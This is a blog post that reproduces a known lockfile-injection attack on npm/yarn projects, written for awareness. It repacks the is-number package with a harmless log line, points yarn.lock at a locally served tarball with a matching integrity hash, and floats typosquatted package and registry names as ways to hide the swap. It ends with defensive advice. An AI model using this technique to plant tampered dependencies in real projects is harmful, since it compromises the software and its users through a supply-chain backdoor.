Injecting backdoors to NPM packages
Tags: javascript, security, opensource, npm
Published: 2022-02-16 14:15:06

---
title: Injecting backdoors to NPM packages
published: true
description: Trying to figure out how hard is it to sneak something bad into open source packages
tags: javascript, security, opensource, npm
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qq0lbhifmtax4llmn0y4.png
---

❗️❗️❗️ I'm not advising anyone to actually backdoor any open source packages, it's actually the opposite, let's make a world a better place.

In this article I want to reproduce steps described in reasearch back in 2019 and see if it is still an issue - [Why npm lockfiles can be a security blindspot for injecting malicious modules](https://snyk.io/blog/why-npm-lockfiles-can-be-a-security-blindspot-for-injecting-malicious-modules/).

In short words, when installing dependencies, your package manager looks first into [lock files like yarn.lock](https://classic.yarnpkg.com/lang/en/docs/yarn-lock/). There it can find package name, exact package version, link to the sources and integrity checks which helps to identify if package wasn't corrupted or altered on the way.

```
is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
```

The issue is that **someone can update this lock file and put a new link which is pointing to a backdoored package version**. Let's try to replicate this attack and see how hard is it.

### Installing package

As an example, we will try to modify [is-number](https://www.npmjs.com/package/is-number) package. There is nothing special about this package, it's just small, so it will be easy to modify it.

Let's install it and check if it works at all.

```
yarn add is-number
```

index.js
```js
const isNumber = require("is-number");

console.log(isNumber(1));
```

```
➜  malicious-lockfile git:(master) ✗ node index.js
true
```

yarn.lock
```
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
```

Everything is legit for now.

### Copying package

As you may know or noticed in lock file before, packages are served as tgz files. It's not hard to build one yourself, just use the built-in npm command `npm pack`.

```
mkdir assets # tmp folder which we will serve locally
cp -r node_modules/is-number assets # copy sources
cd assets/is-number # go to copied sources folder
npm pack # build tgz file
```

Output:
```
➜  is-number git:(master) ✗ npm pack
npm notice
npm notice 📦  is-number@7.0.0
npm notice === Tarball Contents ===
npm notice 1.1kB LICENSE
npm notice 6.5kB README.md
npm notice 411B  index.js
npm notice 1.6kB package.json
npm notice === Tarball Details ===
npm notice name:          is-number
npm notice version:       7.0.0
npm notice filename:      is-number-7.0.0.tgz
npm notice package size:  3.7 kB
npm notice unpacked size: 9.6 kB
npm notice shasum:        a01de2faca2efa81c86da01dc937ab13ccc03685
npm notice integrity:     sha512-U/Io4+4Bh+/sk[...]iHyXJG+svOLIg==
npm notice total files:   4
npm notice
is-number-7.0.0.tgz
```

That's basically it, you need only this steps to replicate a package.

### Alter sources

Current index.js version is super simple.

```javascript
/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};
```

Let's not do anything bad, but just print `Hello world 🌎 `

```javascript
/*!
 * is-number <https://github.com/jonschlinkert/is-number>
 *
 * Copyright (c) 2014-present, Jon Schlinkert.
 * Released under the MIT License.
 */

'use strict';

module.exports = function(num) {
  // --- NEW LINE ---
  console.log('Hello world 🌎')
  /// --- NEW LINE ---
  if (typeof num === 'number') {
    return num - num === 0;
  }
  if (typeof num === 'string' && num.trim() !== '') {
    return Number.isFinite ? Number.isFinite(+num) : isFinite(+num);
  }
  return false;
};
```

Now let's just pack it again, but we need to print integrity number, which we will need later, we can do it with `--json` option.

```
➜  is-number git:(master) ✗ npm pack --json
[
  {
    "id": "is-number@7.0.0",
    "name": "is-number",
    "version": "7.0.0",
    "size": 3734,
    "unpackedSize": 9649,
    "shasum": "116dad4ddcf4f00721da4c156b3f4d500da5a2db",
    "integrity": "sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==",
    "filename": "is-number-7.0.0.tgz",
    "files": [
      {
        "path": "LICENSE",
        "size": 1091,
        "mode": 420
      },
      {
        "path": "README.md",
        "size": 6514,
        "mode": 420
      },
      {
        "path": "index.js",
        "size": 445,
        "mode": 420
      },
      {
        "path": "package.json",
        "size": 1599,
        "mode": 420
      }
    ],
    "entryCount": 4,
    "bundled": []
  }
]
```

### Serve this package

For this experiment we won't even publish it to npm or anywhere else, we can just serve this file locally with [http-server](https://www.npmjs.com/package/http-server). This file will be accessible locally via `http://127.0.0.1:8080/is-number-7.0.0.tgz`.

### Altering lock file

The final preparation step is to alter lock file, it won't be hard since we know shasum and integrity number from the step before.

yarn.lock before:
```
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "https://registry.yarnpkg.com/is-number/-/is-number-7.0.0.tgz#7535345b896734d5f80c4d06c50955527a14f12b"
  integrity sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==
```

yarn.lock after:
```
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1


is-number@^7.0.0:
  version "7.0.0"
  resolved "http://127.0.0.1:8080/is-number-7.0.0.tgz#116dad4ddcf4f00721da4c156b3f4d500da5a2db"
  integrity sha512-VFNyA7hugXJ/lnZGGIPNLValf7+Woij3nfhZv27IGB2U/ytqDv/GwusnbS2MvswTTjct1HV5I+vBe7RVIoo+Cw==
```

### Check if it works

We need to clean node_modules first, also we will need to clear yarn cache because otherwise it will install official version which it cached before (when we installed it first time).

```
➜  malicious-lockfile git:(master) ✗ rm -rf node_modules
➜  malicious-lockfile git:(master) ✗ yarn cache clean
➜  malicious-lockfile git:(master) ✗ yarn --verbose
yarn install v1.22.17
[EDITED]
verbose 0.173942113 current time: 2022-02-16T12:55:14.879Z
[1/4] 🔍  Resolving packages...
[2/4] 🚚  Fetching packages...
verbose 0.231553328 Performing "GET" request to "http://127.0.0.1:8080/is-number-7.0.0.tgz".
[3/4] 🔗  Linking dependencies...
verbose 0.287921518 Creating directory "[EDITED]".
verbose 0.290689753 Copying "[EDITED]" to "[EDITED]".
[EDITED]
[4/4] 🔨  Building fresh packages...
✨  Done in 0.17s.
```

As we may see in verbose version, we fetched local package version, so let's run it.

```
➜  malicious-lockfile git:(master) ✗ node index.js
Hello world 🌎
true
```

### Why is it matter?

Someone may think already: "Why should I care? You've updated local dependency and hacked yourself, nice job bro 🤣".

The issue is that it's not that simple, if we take a look on how lock file updates usually look like in open source, we will see that they are hidden from a reviewer in most cases.

![Github lockfile preview](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tiyipgqxjgwe7wsk9nby.png) 

Btw, be honest right now, how many times before did you look into 500+ changes in lock file personally?

So it won't be an easy task to spot one URL change in this blob of changes. What if we even upload `is-nomber` to the npm? `package.json` will still say that we're using normal `is-number`, but we will install `is-nomber` 🤷  Good luck spotting one letter mismatch in 700+ changed lines.

Even if NPM will start taking down misspelled packages like `is-nomber`, we still can register [yranpkg.com](https://www.godaddy.com/domainsearch/find?checkAvail=1&segment=repeat&domainToCheck=yranpkg.com) and mimic the exact path to the package there. Good luck spotting one letter url change in 700+ changed lines.

### Final notes

You need to be extra careful about strangers who update dependencies in your open source project. It may look like a first open source commitment from a student, but it also may be an attempt to backdoor everything from experienced [black hat](https://en.wikipedia.org/wiki/Black_hat_(computer_security)). Maybe you should even only allow updating lockfiles and installing new packages to proven contributors, but it's not a 💯 percent proven solution ([read this](https://portswigger.net/daily-swig/backdoor-planted-in-php-git-repository-after-server-hack)).

An additional approach may be to use [lockfile-lint](https://github.com/lirantal/lockfile-lint), but you shouldn't just rely on this script entirely because there are other ecosystems than npm, and they may have similar issues.

upd: This issue isn't only yarn specific, there are open issues/discussions in [pnpm](https://github.com/pnpm/pnpm/issues/4361), [yarn1 & yarn2](https://github.com/npm/cli/issues/4447), and [npm](https://github.com/npm/cli/issues/4447).

### Related articles

Another related read would be [A post-mortem of the malicious event-stream backdoor](https://snyk.io/blog/a-post-mortem-of-the-malicious-event-stream-backdoor/)

If you enjoyed these articles, take a look on these two:
- https://medium.com/hackernoon/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5
- https://medium.com/hackernoon/part-2-how-to-stop-me-harvesting-credit-card-numbers-and-passwords-from-your-site-844f739659b9

Hope you had fun 👋

---

Btw, let's be friends here and on [twitter](https://twitter.com/kozlovzxc) 👋